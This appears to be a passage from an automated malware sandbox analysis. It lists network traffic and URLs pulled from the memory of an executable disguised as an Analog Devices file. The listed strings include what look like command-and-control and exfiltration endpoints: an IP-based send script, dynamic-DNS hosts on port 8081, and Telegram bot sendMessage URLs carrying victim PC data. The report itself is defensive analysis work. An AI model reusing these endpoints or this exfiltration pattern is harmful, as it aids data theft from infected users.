Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:36 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Thu, 10 Oct 2024 08:14:37 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20

Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe, adsp-21593bbpz10 analog devices, inc. 5000.exe .0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe, adsp-21593bbpz10 analog devices, inc. 5000.exe .0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: svchost.exe, 00000003.00000002.2945430271.0000020527A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000003.00000003.1674131814.0000020527C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000003.00000003.1674131814.0000020527C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000003.00000003.1674131814.0000020527C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000003.00000003.1674131814.0000020527C4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.3.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe, adsp-21593bbpz10 analog devices, inc. 5000.exe .0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1746073791.000000000265D000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.googlecode.com/files/cmsys.gif
Source: explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gif
Source: explorer.exe, 00000004.00000003.1851087658.0000000000736000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gif3bbpz10
Source: explorer.exe, 00000004.00000003.2093476582.0000000000737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gifbbpz10
Source: explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.netst.exe
Source: explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gif
Source: explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gif#
Source: explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gif6
Source: explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gif
Source: explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gif#
Source: explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gif(
Source: explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gif7
Source: explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gifs
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763504867.000000000509C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.comY
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20a
Source: explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966720295.0000000003B86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://api.w.org/
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003564000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003595000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.000000000355F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847892635.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=DM
Source: svchost.exe, 00000003.00000003.1674131814.0000020527CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000003.00000003.1674131814.0000020527CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: 